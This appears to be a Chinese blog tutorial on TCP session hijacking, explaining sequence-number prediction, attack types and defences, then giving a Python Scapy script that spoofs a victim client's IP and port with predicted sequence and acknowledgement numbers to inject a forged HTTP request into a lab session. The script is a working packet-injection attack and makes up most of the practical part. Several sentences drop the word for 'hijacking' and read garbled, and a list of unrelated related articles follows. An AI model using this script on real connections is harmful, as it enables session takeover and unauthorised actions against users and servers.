使用 Scapy 库编写 TCP脚本

简介: 使用 Scapy 库编写 TCP脚本

一、介绍

TCP(TCP Hijacking),也称为会话劫持,是一种方式,在合法用户与服务器之间的通信过程中插入或数据包,从而控制通信会话。通过TCP可以获取敏感信息、执行未授权的操作或中断正常通信。


1.1 TCP的原理

TCP主要利用了TCP协议的以下特性:


序列号预测:TCP连接中的数据包是按序列号顺序传输的,可以通过监听网络流量预测下一个有效的序列号。

中间人(MITM):可以通过中间人拦截和篡改通信数据包,从而控制通信会话。

1.2 TCP的类型

主动劫持:通过发送伪造的数据包中断或接管现有的TCP连接。

被动劫持:通过监听网络流量,获取会话中的敏感信息。

1.3 防御措施

加密通信:使用TLS/SSL等加密协议保护通信数据,防止监听和篡改数据包。

使用安全的序列号生成算法:在TCP连接建立时使用强序列号生成算法,增加序列号的不可预测性。

入侵检测系统(IDS):部署IDS实时监控网络流量,检测并阻止异常的TCP数据包。

网络隔离和分段:通过网络隔离和分段,限制获取敏感的网络流量。

双因素认证:在关键业务场景中使用双因素认证,增强通信的安全性。

通过这些防御措施,可以有效减缓或防止TCP,确保网络通信的安全性和稳定性。

二、实验环境

用户 Kali 在与服务器通信:192.168.134.147

服务器:192.168.134.148

三、实操演示

先获取到序列号及目标端口

以下是一个使用Python和Scapy库实现TCP劫持攻击的示例代码:

from scapy.all import *
from scapy.layers.inet import TCP
 
 
def tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data):
    # 构造IP和TCP头部
    ip = IP(src=victim_ip, dst=server_ip)
    tcp = TCP(sport=victim_port, dport=server_port, seq=seq, ack=ack, flags="PA")  # PA表示带有数据的包
    payload = data
 
    # 发送伪造数据包
    send(ip / tcp / payload, verbose=1)
    print(
        f"Sent TCP hijack packet from {victim_ip}:{victim_port} to {server_ip}:{server_port} with seq={seq} and ack={ack}")
 
 
if __name__ == "__main__":
    victim_ip = "192.168.134.147"  # 受害者客户端的IP地址
    victim_port = 49658  # 受害者客户端的端口
    server_ip = "192.168.134.148"  # 服务器的IP地址
    server_port = 8080  # 服务器的端口
    seq = 182  # 预测的序列号
    ack = 426  # 确认号
    data = "GET / HTTP/1.1\r\nHost: www.hubstc.com.cn\r\n\r\n"  # 伪造的数据
 
    tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data)

相关实践学习
深入解析Docker容器化技术
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。Docker是世界领先的软件容器平台。开发人员利用Docker可以消除协作编码时“在我的机器上可正常工作”的问题。运维人员利用Docker可以在隔离容器中并行运行和管理应用,获得更好的计算密度。企业利用Docker可以构建敏捷的软件交付管道,以更快的速度、更高的安全性和可靠的信誉为Linux和Windows Server应用发布新功能。 在本套课程中,我们将全面的讲解Docker技术栈,从环境安装到容器、镜像操作以及生产环境如何部署开发的微服务应用。本课程由黑马程序员提供。     相关的阿里云产品:容器服务 ACK 容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
相关文章
|
弹性计算 网络安全
通过云企业网实现不同账号、相同地域下的ECS实例内网互通
阿里云的专有网络类型实例,如果在同一VPC下,不同安全组互相授权即可内网互通,不同VPC默认是互相隔离的,还需要通过云企业网打通VPC才能实现内网互通本例为不同账号,不同VPC下的实例内网互通(图为实验开始前测试内网不通)第一步:安全组授权安全组互相授权操作方法:注意1:需要两台服务器的安全组都添加.
5927 0
通过云企业网实现不同账号、相同地域下的ECS实例内网互通
|
应用服务中间件 nginx 数据安全/隐私保护
nginx中session ticket重用Session提高https性能分析
使用session ticket机制可以提高ssl握手的效率,并节约有效的服务器计算资源
15893 0
|
数据处理 Python
Python遍历文件夹所有文件并按指定排序
Python遍历文件夹所有文件并按指定排序
373 0
|
网络协议 算法 关系型数据库
解读 MySQL Client/Server Protocol: Connection & Replication(上)
解读 MySQL Client/Server Protocol: Connection & Replication
279 0
使用ants并发任务,事半功倍
使用ants并发任务,事半功倍
ly~
|
11月前
|
供应链 搜索推荐 安全
大数据模型的应用
大数据模型在多个领域均有广泛应用。在金融领域,它可用于风险评估与预测、智能营销及反欺诈检测,助力金融机构做出更加精准的决策;在医疗领域,大数据模型能够协助疾病诊断与预测、优化医疗资源管理和加速药物研发;在交通领域,该技术有助于交通流量预测、智能交通管理和物流管理,从而提升整体交通效率;电商领域则借助大数据模型实现商品推荐、库存管理和价格优化,增强用户体验与企业效益;此外,在能源和制造业中,大数据模型的应用范围涵盖从需求预测到设备故障预测等多个方面,全面推动了行业的智能化转型与升级。
ly~
913 2
【Qt 学习笔记】Qt常用控件 | 布局管理器 | 表单布局Form Layout
【Qt 学习笔记】Qt常用控件 | 布局管理器 | 表单布局Form Layout
499 2
|
网络协议 安全 网络安全
使用 Scapy 库编写源路由攻击脚本
使用 Scapy 库编写源路由攻击脚本
|
存储 缓存 安全
⚡OWASF 十大 API 安全问题盘点
本文介绍了OWASP 2023年关于API安全的Top 10问题,包括对象级别授权漏洞(BOLA)、认证漏洞、对象属性级别授权漏洞、不受限制的资源消耗、函数级别授权漏洞(BFLA)、不受限制地接触敏感业务流程、服务端请求伪造(SSRF)、安全配置错误、库存管理不当和不安全的API使用。每个问题都详细介绍了其安全弱点、影响和预防措施。
|
Android开发 Python Windows
用纯python脚本玩转UU加速器
用纯python脚本玩转UU加速器
488 0

热门文章

最新文章